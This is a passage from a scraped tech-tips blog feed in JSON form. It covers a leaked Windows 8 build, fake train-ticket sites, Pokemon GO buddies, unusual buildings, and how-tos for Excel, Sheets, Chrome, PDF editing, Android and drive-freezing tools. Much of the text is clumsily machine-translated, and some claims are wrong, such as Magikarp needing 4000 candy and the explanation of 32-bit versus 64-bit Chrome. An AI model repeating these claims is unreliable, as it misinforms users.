ncG1vNJzZmismaXArq3KnmWcp51kvKeyxKuqZq6ZmbKwvNGommaooqSzpr%2FSoqanmZxiw6qwxKhkqaqfmLK0v8innmarn5vBuK3RnmSfp6JihHp5wKucZp6imrI%3D\n","link":"/post/offers-videoproc-professional-video-processing-software-for-79-are-free/","section":"post","tags":null,"title":"Offers, VideoProc - professional video processing software for $ 79, are free"},{"body":"The first leaked build of Windows 8 appeared yesterday. However, the interface is still not different from the Windows 7 operating system.\nThe version of Windows 8 Build 7850 was unexpectedly shared by Betaarchive page on its website yesterday morning but was soon removed. However, many other websites and forums have been downloaded and continue to spread widely through other protocols such as torrent.\nThe version of Windows 8 Build 7850 is quite small, only about 2.5GB. According to the source said, this is the Milestone 1 version, ie the first version of the roadmap to develop a version of Microsoft operating system including Milestone 1, 2 and 3 before switching to beta, RC and RTM.\nThe first screenshots from shared forums show that this build has very little interface change compared to the current Windows 7 version. According to Tuanpekoe members on the Windowsvn forum, fonts and icons are larger, most titles are moved in the middle instead of the left margin as it is today. In addition, some changes also appear in Taskbar, Explorer, Windows Photo Viewer and pre-installed .Net Framework 4.0.\nAccording to previous information, Windows 8 beta will be available in August this year.\nSome images of the first version of Windows 8 were revealed.\n  The installation is clearly codenamed Windows 8 code Milestone 1.\n  The name of the operating system is still Windows 7 Enterprise with the implementation date of September 23 last year.\n  Welcome interface has not changed.\n  Main interface with a little change in the taskbar.\n  Explore also changes.\n  Control Panel interface.   Photo viewer interface.\n  Currently this version has not changed the wallpaper.\n  Windows Media Player 12.\n    Internet Explorer 9 Beta comes preinstalled.\n  The file opening notice panel also changes.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bgq6ukYsSqusOorqxlaGKvpsDAZpipqJWWv6aw\n","link":"/post/the-first-windows-8-beta-appeared/","section":"post","tags":null,"title":"The first Windows 8 beta appeared"},{"body":"Sai Gon Railway Transport Joint Stock Company warned that recently, some websites with a very similar domain name appeared on the official website of the railway industry, introduced and offered train tickets of Vietnamese railroads with higher prices. cost.\nMany customers, especially foreigners, were mistaken and bought tickets at a price higher than the rail industry. Even after paying customers, they will receive train tickets that are not valid for the train because the boarding cards will be shaved with corrected information such as ticket prices, train and train dates.\n  Saigon Rail Transport Joint Stock Company recommends to avoid fraud, customers need to buy tickets to train at stations, ticket shops or buy at the correct distribution channels of the railway industry. Customers can visit saigonrailway.com.vn and vantaiduongsathanoi.vn website for details of official railway agents.\nFor customers who purchase train tickets online, only book and buy tickets via the official website https://www.dsvn.vn and www.vetau.com.vn.\nSee more:\nInstructions on how to order 2018 Tet train tickets online Again a phishing website falsely loaded a scratch card 10 times the value in Vietnam Warning of donkey by accepting money on Facebook ncG1vNJzZmismaXArq3KnmWcp51kxKK%2BzaKloGWknbKzsYyaqZ5lo5rDpr7ApWSwnZKotrWx0maqnqScnruoecWaop5lpKeuqrqMraCco5WpwG6yzqtkrZ2k\n","link":"/post/there-are-several-websites-selling-fake-train-tickets-for-tet/","section":"post","tags":null,"title":"There are several websites selling fake train tickets for Tet"},{"body":"The newly released version of Pokemon Go has officially aired, with the addition of Buddy Pokemon. This calculator understands that na is that you will take Pokemon join the journey to catch Pokemon, visit Pokestop, or simply walk around the park only. However, is Buddy Pokemon simply adding a companion to the coach, or are there any other benefits to use?\n1. What is Buddy Pokemon? Buddy Pokemon or Buddy System is a completely new feature that manufacturers bring to the game players. Players will be allowed to choose a Pokekon from the list to become their pet. And that Pokemon will be with the companion in the game.\n  2. What does Buddy Pokemon bring to players? In addition, we will add more companions for every trip, it is more valuable, that you will receive more Candy when using Buddy Pokemon feature. This will be essential for the evolution of Pokemon types.\nHowever, the reward will depend on the type of Pokemon Buddy and the number of kilometers traveled. Players will have to actively walk with their Pokemon to earn more Candy. For example, Magikarp requires 4000 Candy, or Clefairy will only need 1 kilometer walk to get 1 more Candy. However, there will be types of Pokemon walking distance that require a lot more than 3 km or 5 km to get Candy for players.\n  3. Pokemon Buddy list by distance: Receiving Candy through the Buddy Pokemon feature will be divided into 3 levels: 1 km distance, 3 km walk and 5 km walk. Gamers can follow the 3 statistics listed below, according to different distances to know which Pokemon to join the journey in the game:\nBuddy Pokemon 1 km:   Buddy Pokemon 3 km:   Buddy Pokemon 5 km:   If you need to find Candy for evolution, then try this Buddy feature. In the process of choosing Pokemon, you should also calculate which Pokemon to choose to become a companion in every journey!\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrivu9ZmmJunpal6o8HDnbBmqJ%2Bgsq67zWagp2WgpLimuc6nZKCn\n","link":"/post/things-to-know-about-buddy-pokemon-in-pokemon-go/","section":"post","tags":null,"title":"Things to know about Buddy Pokemon in Pokemon GO"},{"body":"The 10 different projects below have resonated from around the world: four in Europe, two in China, one in the US, Qatar, Australia and Argentina.\nThe designs themselves vary in size and budget, and some are a bit more practical than others. But each design breaks the mold to offer something a little different from the normal everyday buildings that surround us.\nHouse with integrated skate track   The owner of this house is a great skater, so Skatehouse 2 (as it is called) was designed with a side slide. Due to its location on the Argentinian riverside island of Paraná, an area prone to flooding, the house is elevated above ground level and it features a wood-steel frame and water-resistant wood paneling.\n  The slide itself acts as a shading wall for the house, as nearby is the outdoor kitchen and terrace area. Due to its location in a flood prone area, Skatehouse 2 operates completely off-grid. All electricity comes from a rooftop solar system, while water is drawn from a rainwater collection system and a nearby river. In addition, hot water is also generated by a solar hot water tank.\nThe office tower has an infinity design   Infinitus Plaza is an office building in Guangzhou, China. It consists of two interconnected office buildings, forming the \"infinity\" symbol when viewed from above. The reason it splits into two buildings is because in the middle is a subway tunnel. Building directly on top of the tunnel will cause problems, so the investor has accepted the option of linking two separate buildings by many bridges.\n  Computer analysis of expected solar heat gain has allowed engineers to determine the width of the outdoor terrace so that it can self-shade the building's interior. This also resulted in the installation of additional copper-colored perforated aluminum sunshades outside. These measures are combined with solar panels to save on electricity usage, as well as supporting an intelligent management system that controls everything from indoor temperature and lighting, to quality. atmosphere.\nThe bowl-shaped building reflects everything around   Located in Rotterdam, Netherlands, the Depot Boijmans Van Beuningen was born to replace the Boijmans Van Beuningen Museum of this country. At 35 m tall, its conspicuous highlight is an eye-catching façade of approximately 71,000 m2 clad in mirrored glass, divided into 1,664 panels. The interior covers an area of ​​167,000 m2 and is arranged around a large skylight with criss-cross stairs and pre-assembled glass.\n  When completed, it will house the old museum's entire collection of 63,000 paintings, photographs, films, design objects, installations and contemporary art sculptures, as well as 88,000 copies prints and drawings. In addition, the architecture also has a number of sustainable features, including rooftop solar panels to reduce grid usage, a heating system based on a geothermal exchanger, and a water collection system. rain to irrigate a rooftop park and provide water to flush toilets.\nUpside down tower in the middle of New York City   Architect David Adjaye has revealed plans for a very ambitious new skyscraper for New York City. Dubbed the Affirmation Tower, it will feature a striking design that looks like an upside-down skyscraper.\n  The overall form of this building will be made up of a series of stacked cubic sections, creating a terraced structure that allows for an increase in width as it rises. The building will reach an impressive height of 506 meters and will include commercial office space, as well as two hotels, the headquarters of the NAACP, an observatory and an ice rink.\nCloth wrap of the Arc de Triomphe in France   In 2021, the Arc de Triomphe in Paris, France was wrapped in cloth in memory of the late artist Christo Vladimirov Javacheff, who created this unique art form. Mr. Christo and his wife Jeanne-Claude Denat de Guillebon are the ones who have created a unique art form by using fabric to wrap famous works.\n  \nThe scale of the project is impressive. L'Arc de Triomphe, as it is called, is a project that cost around $16.5 million, privately raised by the assets of Christo and Jeanne-Claude. Its creation involved more than 1,000 people, using 25,000 square meters of silver-blue polypropylene fabric sewn in Germany. It is secured in place by 3,000 m of red polypropylene wire. All materials will be recycled when artwork is finished.\nThe \"seesaw\" building in Russia   Perched high on a small hill in Russia, the Russian Quintessential is both a beautiful work of modern art and a weekend getaway. Its reflective facade and tubular shape are eye-catching, while also harboring a compact yet comfortable home inside.\n  Structurally, it is likened to the hull of a ship. The structure consists of a steel frame made up of several \"ribs\" that give it enough strength to jut out of the hillside while not buckling under its approximate weight of 12 tons. The building is also fixed to the foundation with six bolts and polyurethane foam insulation, which helps keep the interior comfortable even in the notoriously harsh Russian winter.\n  The reflective coating is stainless steel plate. The entire interior is arranged on one floor, including a compact balcony area as well as a bathroom with shower and toilet. It also has a simple kitchenette with a microwave, cupboard and sink. There is also a built-in double bed and a work desk nearby. The entrance to the house is a glass door on the opposite side to the balcony.\nPencil Tower Hotel - A scratch in the sky   Pencil Tower Hotel is a tower with an expected width of only 6.4 meters. Designed by Durbach Block Jaggers, the building is being developed by the Tricon Management Group. When completed, it will occupy an area of ​​345 square meters and reach a height of 100 meters in the city center of Sydney.\nThe tower will sit atop a podium building and will serve as a boutique hotel. Its interior will feature six rooms per floor, plus additional service areas in the basement and podium, and a cleaning/storage room on every third floor of the hotel. Elsewhere there will be a cafe, lounge and walled courtyard, along with a rooftop pool, sundeck and spa that will jut out near the top of the building.\n  The project recently won the City of Sydney Design Excellence Competition and has been submitted for planning permission, although there is no word yet on when construction is expected to begin. .\nSky Pool - Swimming pool in the air   The Sky Pool is part of Embassy Park in London, a residential development co-developed with the US Embassy building. The highlight of this pool is that it is suspended at a height of 35 meters between two apartment buildings. It has a length of 15 m and this length is increased to 25 m with extended \"tanks\" at each end, to be able to hold 148,000 liters of water.\nStructurally, it is made from a piece of acrylic with a total thickness of about 35 cm and is housed in a steel frame. There is a Sky Deck on either side of the pool, including a double terrace with a bar and restaurant, as well as several seating areas. Alternatively, those who don't want to get their feet wet can use a parallel footbridge to cross the two apartment buildings.\n  A significant engineering challenge was solved to ensure that the pool could withstand the weight of the water and the amount of pressure generated, while the entire structure could still withstand wind loads and the sway of the building. .\nAnd just bringing it to London is a difficult journey. After being built and undergoing rigorous testing in the state of Colorado (USA), the swimming pool structure made a road trip to Texas, before making the three-week journey by transatlantic train. Atlantic to the Netherlands. From there, it sailed to the port of Tilbury in London and sailed up the Thames, before being transported by truck to the installation site. At the end of the journey, traffic lights and road signs were removed and even one road was completely blocked off. It was then hoisted into position by a 750 ton mobile crane, supported by a second smaller crane.\nQatar Stadium - Giant nomad tent   Taking the overall shape of a giant nomadic tent in the middle of the Qatar desert, the Al Bayt stadium will be inaugurated to be ready for next year's FIFA World Cup football tournament.\nAl Bayt, designed by Dar Al-Handasah, is located in the city of Al Khor, in northern Qatar. It has a total capacity of 60,000 people and will be used to host the opening match as well as subsequent matches until the semi-finals.\nThe design of the stadium was inspired by the Bayt al sha'ar tent used by nomads who have lived in Qatar for millennia. Its tent-like look comes from the use of polytetrafluoroethylene (PTFE) on the outside, covering a structural steel frame. The roof can be retracted, open or closed as required, to help reduce localized heat on the pitch.\n  Once the World Cup event is over, half of the stadium's seats will be removed and reused in other sports facilities in Qatar and elsewhere. An area above the stadium will be turned into a five-star hotel, while a shopping mall, food court, gymnasium and multi-purpose hall are also planned to be incorporated into the stadium building. main. In addition, the stadium complex will include a sports medicine hospital, a park, running and cycling tracks, an amusement park, a cafe and a restaurant.\nConcert hall in the rock   The Chapel of Sound is a concert hall located in a rugged mountainous area about two hours' drive from Beijing, near some of the ruins of the Great Wall.\nThe building is built from concrete, with a combination of local mineral-rich rocks. Its overall design was originally inspired by the characteristic of resonant cavities in conch shells, wooden instruments and the human ear, but has been refined using specialized software and the design company has also worked with sound engineers to ensure it would be a great space for live music.\n  Its interior is 790 square meters and features a semi-outdoor amphitheater, an outdoor stage, and numerous winding stairs leading to viewpoints, including a rooftop staircase that offers views of the Great Wall. Ly Truong Thanh. The interior decoration uses brass details, like the handrails and doors, to add a bit of warmth to the whole concrete block.\nWhen not hosting performances, it will be a space for reflection and quiet gathering. However, no matter what you're there for, you'll want to bring a warm jacket in winter as there's no air conditioning or heating inside. It's also fairly ventilated on its own, although the architects have ensured that any rain that gets in will escape.\narchitecture art ncG1vNJzZmismaXArq3KnmWcp51kfnF5zp9kraCVYsC1vsCnnp6rpGKvtrXLnaCnn6Nitq95kWlpag%3D%3D\n","link":"/post/10-of-the-strangest-buildings-in-2021/","section":"post","tags":null,"title":"10 of the strangest buildings in 2021"},{"body":"Processing and calculating data with data is time (type date) very difficult because you can not use normal calculations. But the DATEDIF () function will help you do this, the function will help you calculate the data of the format of time in Excel.\n  The article describes the syntax and usage of the DATEDIF () function in Excel.\nDescription The DATEDIF () function helps you calculate the total number of years, the total number of months, or the total number of days from two given periods.\nYou can use this function from Excel 2003 and newer versions, the DATEDIF () function is not in the list of Excel functions, so when you enter = DATEDIF, the function is not displayed in the Excel function list.\nSyntax = DATEDIF (start_day, end_day, unit) \nInside:\n- start_day: start date to calculate.\n- end_day: end date, end_day needs to be bigger than start_day.\n- unit: type of result returned by the calculation, to be written in quotation marks.\nBelow is a list of unit options.\ny: the number of years the difference between start_day and end_day.\nm: number of months difference between start_day and end_day.\nd: number of days difference between start_day and end_day.\nmd: the number of days difference between start_day and end_day, regardless of the number of years and months.\nym: the number of months difference between start_day and end_day, regardless of the number of years and days.\nyd: number of days difference between start_day and end_day, regardless of the number of years.\nFor example Example 1: Use the DATEDIF function to calculate the age of employees.\nApply the function to the last employee: = DATEDIF (D11, NOW (), \"y\")\n- D11: is the start date (year of birth).\n- NOW () is a function to get the current date of the computer.\n- y to determine the return value is the difference between the current year and the year of birth.\nThe following results:\n  Example 2: For start_day is February 1, 2013 and end_day is December 28, 2014, applying all unit options will result in the following:\n  So you know how to use the DATEDIF () function in Excel. With the support of the DATEDIF () function, the processing of date data calculations will be a lot easier. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksaLAxJ2gn2WWqrukwMiopWabkaGwtrjArZxmrJiaerW705qjZqaloq%2BmvoyonWaxlZa%2FtHnTqKuapF2ivK%2FAx6xkqKpdqby1rctmm5qxo2Kzs7vMZquwp12ctrexzWannqqZpLG0ecinZJ6wk5q5\n","link":"/post/datedif-function-calculate-the-total-number-of-years-total-months-or-total-days-from-two-given-periods-in-excel/","section":"post","tags":null,"title":"DATEDIF () function (calculate the total number of years, total months or total days from two given periods) in Excel"},{"body":"Google said it is building a beta version of Chrome 64-bit on OS X, with improved speed and reduced memory usage.\nApple has begun converting 32-bit CPUs to 64-bit on Macs in nearly a decade. However, Google Chrome still only has a 32-bit version on OS X. However, this will soon be changed.\nAfter announcing a 64-bit version of Chrome on Windows that was updated and worked fairly well, Google said it was building a 64-bit version of Chrome on OS X. Other versions, Chrome 64-bit on the Mac will first limit users on the Beta channel. So it's not Chrome's standard that most people use, but at least it allows users to try new experiences.\n  So, what is the advantage of 64-bit version? In theory, the speed will be improved, but in fact you can hardly notice the difference clearly (although maybe the boot speed is slightly improved) . but it can really help Your entire system runs smoother.\nMost modern systems use 64-bit operating systems. So when you launch a 32-bit application like Chrome, the system will have to download a bunch of junk files and memory to support it. Using 64-bit applications will help reduce memory usage, thus improving the speed of the entire system.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpuYp7yusYyopWalkZh6qa3SZphmbmSXtrV51Z6prKGfow%3D%3D\n","link":"/post/google-chrome-on-mac-has-a-64-bit-version/","section":"post","tags":null,"title":"Google Chrome on Mac has a 64-bit version"},{"body":"  Right click on an empty space on the desktop. To arrange the icons horizontally, you need to select or deselect some settings first.\n  Hover your mouse pointer over the View menu and uncheck Auto arrange icons. With this setting, Windows will stop rearranging icons every time you restart or add new icons to your desktop.\nWhile this setting is enabled by default, you'll also need to check to make sure that the Align icons to grid option is ticked. This feature will keep the icons evenly spaced and beautifully arranged. If you don't want the icons to be evenly spaced or automatically aligned to the grid, you can uncheck the box.\n  Drag and drop icons to align horizontally. However, you need to do it manually as there is no automatic setting for this. However, after disabling the Auto arrange icons setting, you will be able to customize the icons horizontally and they will not be automatically rearranged afterwards.\nOn Mac   Drag and drop icons to align horizontally. You need to do it manually as there is no automatic setting for this.\n  Right-click an empty space on the desktop and select Show View Options . This option is usually at the bottom of the menu that appears after a right-click.\n  Adjust the settings you want, then close the window. In the \"Show view options\" window, you can change how the icons are displayed, such as how big or small the icons are and the grid size. Once done, click the x icon in the upper left corner to close the window.\nYou can also change the built-in text size of the icon as well as the position for the text label.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmip66vs8RmoJynnqh6sLqMrZ%2BeZZSawKzAzqlkoaeinsewutOao6Wx\n","link":"/post/how-to-arrange-icons-on-the-desktop-horizontally/","section":"post","tags":null,"title":"How to Arrange Icons on the Desktop Horizontally"},{"body":"To edit content on PDF files, there are many software or websites online that make it easier to change the content of the file. Users do not need to convert PDF to Word before proceeding to edit. In this article, we will introduce you to the Infix PDF Editor software, edit PDF content.\nInfix PDF Editor is lightweight, takes up little resources on the system. The software provides a full range of features to edit PDF files, including encrypted PDF files with a password. We can edit PDF files with Word file interface, create new PDF pages, export PDF files from other text editors, . The following article will guide you how to edit PDF files with Infix PDF Editor.\nHow to edit PDF file using FormSwift online Instructions for editing PDF files in Word 2013 Applications that read Excel files on iPhone / iPad quality How to use Infix PDF Editor to edit PDF files Step 1:\nClick on the link below to install Infix PDF Editor on your computer.\nDownload Infix PDF Editor software In the first interface select the installation language is English and click OK to proceed.\n  Step 2:\nThe software installation process is similar to other software on the computer.\n  Step 3:\nAfter installation is complete, click on the software icon on the computer. The first interface users will see has 3 options with 3 different content.\nBuy now: Buy the copyright of Infix PDF Editor software. Activate: If you already have a license key, enter it to activate now. Coutinute in the mode: Try the software. Note to readers, if you have not enabled Infix PDF Editor license, PDF file after editing will appear the logo of the software.\n  Step 4:\nClick on File then click on Open to open the PDF file to edit the content. Or you can press Ctrl + O.\n  Step 5:\nWhen clicking on any content on a PDF file, we can edit this content. You just need to delete the old content, add new content to the PDF file if needed. Blue frame is used to expand or collapse the text input box.\nAlso on the toolbar is full of options for content, font size, format, position alignment. The interface is quite similar to that on Word.\n  If you want to use the new font, just click on the existing font in the toolbar. Select the font you want to use and click Use Font to apply.\n  In case you want to add new content, just select the location and create a green frame to insert the content.\n  Step 6:\nTo insert images into PDF content, click on the Object item select Image , choose Insert to open the image you want to insert into the content. You can press Ctrl + Shift + D to quickly open the folder. Software supports JPG, TIF, BMP, PNG formats.\n  Images when inserted into documents can scale, or change the image position. If you don't want to insert images, press the Delete key. Click on the image to perform the operation.\n  Step 7:\nTo add a signature to the content of a PDF file, click on the Edit section and select Signature . Then select Define . to open the signature on the computer.\n  Next name the signature to save in Infix PDF Editor's signature library.\n  Then select the location you want to insert the signature and then click again on Edit, choose Signature, click on Insert and then select the signature you want to insert. Thus, with later PDF documents you can use the signature library on Infix PDF Editor to use.\n  Step 8:\nOne of the useful points of Infix PDF Editor is that the interface and editing features are quite similar to Word, such as Find \u0026amp; Replace.\nClick on Edit\u0026gt; Find \u0026amp; Replace and choose Replace or Find. If you want to replace it quickly, select Replace.\n  In the Replace interface, enter the word you want to edit into the Find box and edit the Replace content. Finally, click Replace to replace the found words, or click Replace All to replace them all.\nShow Results to review the replacement history has been made, if it is wrong, it can be edited again.\n  Step 9:\nIn case you want to add new pages on PDF, users will have 2 Insert New options (add a completely blank page) and Insert From Document (insert new pages from the contents of an existing file) in Pages section .\nWith Insert From Document , you can add PDF files on your computer to the next page.\n  With Insert New , enter Create the number of new pages to add from the current page, with the position ahead or behind the current page.\n  With Infix PDF Editor, users have more software to edit PDF files with a very simple way. The tools on Infix PDF Editor are similar to the Word interface so we can easily choose to edit.\nSee more:\nHow to set PDF file password using Adobe Acrobat Remove PDF file password in 3 steps How to stamp copyright PDF files I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFuvMOfZJ%2BhnJrAbsPIrZ9moZ6btrl5z52dZp2UnsGwvg%3D%3D\n","link":"/post/how-to-edit-pdf-files-with-infix-pdf-editor/","section":"post","tags":null,"title":"How to edit PDF files with Infix PDF Editor"},{"body":"Are you driving and are often distracted by incoming messages and notifications that keep popping up on your phone? If you're using a Pixel phone (or stock Android device), you can easily turn on 'Do Not Disturb' mode while driving to avoid potential hazards caused by your phone. phone while in traffic.\nHow does 'Do Not Disturb' mode work? In simple terms, 'Do Not Disturb' mode when activated will automatically block unimportant notifications on the device. Of course, this feature can also be set up to automatically block notifications in certain, specific cases. This saves you from having to remember to turn it on and off all the time. For example, from Pixel 3 and up, you can set it up to automatically turn on 'Do Not Disturb' while driving.\nHowever, this feature will not be very useful if you do not customize each specific setting for each situation. For example, there are some useful options where you can fine-tune who in your contacts can still contact you even in do not disturb mode.\nHow to enable 'Do Not Disturb' mode while driving First, access the Settings menu on your Android phone by tapping the gear icon on the home screen.\nIn the Settings menu, navigate to 'Sound', or 'Sound \u0026amp; Vibration', then tap 'Do Not Disturb'.\n  Look to the bottom and tap 'Schedules'.\n  You will see a few pre-made schedules on this page such as 'Sleep'. What we are interested in here is 'Driving', check it. Or if this driving option isn't available yet, you can create your own.\n  Next, tap the gear icon to open the settings for the Driving option.\n  At the top, click 'Behavior'.\n  From the pop-up, select 'Turn on Do Not Disturb'.\n  Now tap on 'Turn on automatically'.\n  There are several options on this page. If you're always connected to a Bluetooth device while driving, such as your car's infotainment system, click here. Turn on the 'When Connected to Bluetooth' switch and select a device from the list.\n  Another option is 'When driving is detected'. This feature will use your phone's data to automatically detect when you are driving.\n  Finally, you can further enable the 'Turn on Bluetooth automatically' option so that your phone automatically turns on Bluetooth when it detects you're driving. This will ensure that Bluetooth devices are always connected while you are driving.\n  That is all. Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYydpmamn6l6pbXSrayrml2ivKWxjLCfoqSVYrGztdWipaBln6N6onnPoq%2BepF2ltbC6xA%3D%3D\n","link":"/post/how-to-enable-do-not-disturb-mode-while-driving-on-a-pixel-phone/","section":"post","tags":null,"title":"How to enable 'Do Not Disturb' mode while driving on a Pixel phone"},{"body":"Does your Windows 10 PC contain a lot of important data and you have to freeze your hard drive to protect the data? In the following article, TipsMake.com shares with readers the tips for freezing hard drives on Windows 10 effectively and safely.\n  1. Freeze Windows 10 hard drive with DeepFreeze Step 1: You visit the website https://www.faronics.com/en-uk/downloads_en-uk to download Deep Freeze.\nNext, select the D eep Freeze Standard (1) =\u0026gt; Continue to Downloads (2) .\nIf you have a request form, please fill in the optional information, but in the Email section, you must fill it in correctly so that the developer can send the software via Email to you.\n  Step 2: Click on the downloaded file DFStd as shown below to proceed with the installation.\n  Step 3: Then click Next to continue.\n  Step 4: Check the box I ACCEPT . (1) =\u0026gt; Next (2) .\n  Step 5: Tick ​​the box Use Evaluation (1) to select the trial version and click Next (2) .\n  Step 6:\u0026nbsp;  Click the drive to be frozen by switching the switch from Thawn to Frozen  (1) . By default, the Windows installation drive will be frozen and you cannot unfreeze this drive. After setup is complete, click Next (2) .\n  Next, click Install to complete the installation.\nThawnSpace is a virtual partition that does not freeze so you can store data on your computer without losing it when restarting your computer, but this virtual partition will take up some of your hard drive space if you enable this feature.\n  Step 7: After starting the computer, the Deep Freeze icon will appear on your computer in the system tray. To access the software, hold Shift + left click on the software icon.\n  Step 8: Click OK because the first installation does not have a password.\n  Step 9: In the Boot Control section , you can set parameters such as freezing (Boot Frozen), de-freezing at the restart of the second computer . (Boot Thawned on Next) and freezing (Thawned) in the Status on section Next Boot (1) . To save the settings, select Apply and Reboot (2) .\n  Step 10: You need to set a password to ensure the safety of the software by going to the Password tab (1) to set a new password (2) and re-entering the new password again (3) . Then click OK (4) to save the password.\n  2. Freeze the hard drive with Shadow Defender Step 1: Visit the following website and click Download to download Shadow Defender https://www.shadowdefender.com/download.html\n  Step 2: Open the downloaded installation file and click Next to continue.\n  Step 2: You tick I Accept . (1) =\u0026gt; Next (2) .\n  Step 3: You name the user (1) and click Next (2) .\n  Step 4: Click Next to move to the next step.\n  You continue to click Next .\n  And finally you click Install to install.\n  Step 5: Click Finish to reboot the computer is finished.\n  Step 6: After restarting your computer, find and double-click the Shadow Defender icon in the system tray.\n  Step 7: In the main interface of Mode Settings , select the drive to freeze by ticking that drive (1) =\u0026gt; Enter Shadow Mode (2) .\n  Step 8: Select the item Enter Shadow mode on Boot (1) =\u0026gt; OK (2) is done.\n  Step 9: To de-freeze, tick the drive to be frozen (1) =\u0026gt; Exit Shadow Mode (2) .\n  Step 10: Select the item Exit Shadow Mode and reboot now  (1) =\u0026gt; OK (2) to remove the freezing and restarting the computer.\n  With the instructions of freezing in the article, you can ensure that the data on your computer is not infringed by others and also a way to protect your computer from the risk of virus infection quite effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6imrK7sYytn55lmJa%2FpXnDq6CvnV2stq95kGk%3D\n","link":"/post/how-to-freeze-the-hard-drive-win-10/","section":"post","tags":null,"title":"How to freeze the hard drive Win 10"},{"body":"Google Drawing is Google's unique drawing and design tool, operating independently similar to Google Docs or Google Slides. With drawing tools, shapes or lines and different strokes, users can create many drawings such as diagrams, designs, . After finishing drawing on Google Drawing, users can insert drawing file into other document tools such as insert in Google Docs, Google Slides, . So we do not need to redraw the content on other tools. The following article will guide you how to insert Google Drawing on other online editing tools.\nHow to create a grid chart on MathType Instructions for creating charts on PowerPoint The best thinking mapping software today Guide to insert Google Drawing on Google Docs Step 1:\nAfter completing the drawing on Google Drawing, users click on the File section and select Publish on the web .\n  \nStep 2:\nDisplay the new interface and click the Publish button to get the link for drawing on Google Drawing.\n  When asked if you want to be sure to export the drawing, click OK to agree.\n  Users will immediately see the drawing link used to insert other editing tools through the drawing URL. Press Ctrl + C to copy this link.\n  Step 3:\nNow open Google Docs and click on Insert , choose Next to Image and choose the type of Insert By URL .\n  Display the frame to enter the newly copied drawing URL on Google Drawing into this interface.\n  The drawing preview interface is displayed as shown below, click the Insert button to insert the drawing into Google Docs.\n  The drawing will display in Google Docs content as shown below. We can enlarge or shrink the size of the drawing, as it is inserted as an image. If you want to edit the drawing, you must edit it again in Google Drawing, then proceed to re-insert the URL from the beginning.\n  To insert Google Drawing drawings on Google Sheets , users click on Insert then select Next to the Picture section .\n  \nIn the new interface, click on the item Under URL and paste the link for Google Drawing drawing. Click the Select button below to add.\n  Picture drawings displayed on Google Sheets as below.\n  Inserting Google Drawing drawings on Google Slides also works similarly on Google Docs and produces the following results.\n  Through the Google Drawing drawing URL, we can insert drawings on different drafting tools. The drawing will be inserted as an image so we can change the insert position, the size of the drawing depending on the layout and requirements when editing the content.\nSee more:\n10 best free diagramming tools for Windows Some tools to help create online charts How to install and use the Cabri II Plus Math drawing software I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIygpqifnJp6pb7AsKCnn12eu7W7jKCmqJ%2Bcmnqlu8Ks\n","link":"/post/how-to-insert-google-drawing-into-google-docs/","section":"post","tags":null,"title":"How to insert Google Drawing into Google Docs"},{"body":"If you need to manipulate data in Google Sheets, the QUERY function can help you! It brings powerful database type search capabilities to spreadsheets, so you can look up and filter data in any format you want. The following article will show you how to use the QUERY function in Google Sheets.\nUse the QUERY function The QUERY function is not too difficult to master if you have ever interacted with the database using SQL. The format of a typical QUERY function is similar to SQL and brings the power of database search functionality to Google Sheets.\nThe format of a formula using the QUERY function is:\n=QUERY(data, query, headers) Replace 'data' with a range of cells (for example, 'A2: D12' or 'A: D' ).\nThe optional 'headers' argument sets the number of header rows to include at the beginning of the data range. If you have a title that spans two cells, like First in A1 and Name in A2 , then QUERY will use the content of the first two rows as the combined heading.\nIn the example below, a worksheet (called the 'Staff List' ) of a Google Sheets spreadsheet includes a staff list. It contains the name, employee ID number, date of birth, and whether they attended mandatory employee training.\nSpreadsheet 'Staff List' On the second worksheet, you can use the QUERY formula to get a list of all employees not attending the required training. This list will include the employee ID number, first name, last name, and whether they attended the training.\nTo do this with the data shown above, you can enter:\n=QUERY('Staff List'!A2:E12, \"SELECT A, B, C, E WHERE E = 'No'\") This queries data from the range A2 to E12 on the 'Staff List' page.\nLike a regular SQL query, the QUERY function selects the columns to display ( SELECT ) and specifies the parameters for the search ( WHERE ). It returns columns A, B, C and E listing all matching rows, where the value in column E ( 'Attended Training' ) is a text string that says 'No'.\nColumn E ('Attended Training') is a text string that says 'No'. As shown above, the 4 staff members on the list did not attend the training. The QUERY function provided this information, as well as matching columns to display employee names and ID numbers in a separate list.\nThis example uses a very specific data range. You can change to query all data in column A to E. This will allow you to continue adding new employees to the list. The QUERY formula you used will also update automatically whenever you add new employees or when someone joins a training session.\nThe exact formula to do this is:\n=QUERY('Staff List'!A2:E, \"Select A, B, C, E WHERE E = 'No'\") This formula ignores the original heading 'Employees' in cell A1.\nIf you add the 11th employee, not attending the training to the original list, as shown below ( Christine Smith ), the QUERY formula will also update and show the new employee.\nThe QUERY formula will update and display the new employee Advanced QUERY formula The QUERY function is very flexible. It allows you to use other logical operations (such as AND and OR ) or Google functions (such as COUNT ) as part of the search. You can also use comparison operators (bigger, smaller, etc.) to find values ​​between 2 numbers.\nUse comparison operators with QUERY You can use QUERY with comparison operators (such as smaller, bigger or equal) to narrow and filter data. To do this, the article will add a column ( F ) to the 'Staff List' table , with the number of awards each employee has won.\nUsing QUERY, we can search all employees who have won at least one award. The format for this formula is:\n=QUERY('Staff List'!A2:F12, \"SELECT A, B, C, D, E, F WHERE F \u0026gt; 0\") This uses a comparison operator \u0026gt; to search for a value greater than 0 in column F .\nUse comparison operators with QUERY The above example shows the QUERY function returns a list of 8 employees who have won one or more awards. Out of 11 employees, 3 have never won an award.\nUse AND and OR with QUERY Nested logical operators like AND and OR work well in larger QUERY formulas, to add more search criteria to the formula.\nA good way to test AND is to look up data between two dates. If applied to the employee list example, the article can list all employees born between 1980 and 1989. This also takes advantage of comparison operators, such as greater than or equal to (\u0026gt; = ) and less than or equal to ( The format for this formula is:\n=QUERY('Staff List'!A2:E12, \"SELECT A, B, C, D, E WHERE D \u0026gt;= DATE '1980-1-1' and D  This formula also uses the additional DATE function to accurately analyze the timestamp and search all birth dates between January 1, 1980 and December 31, 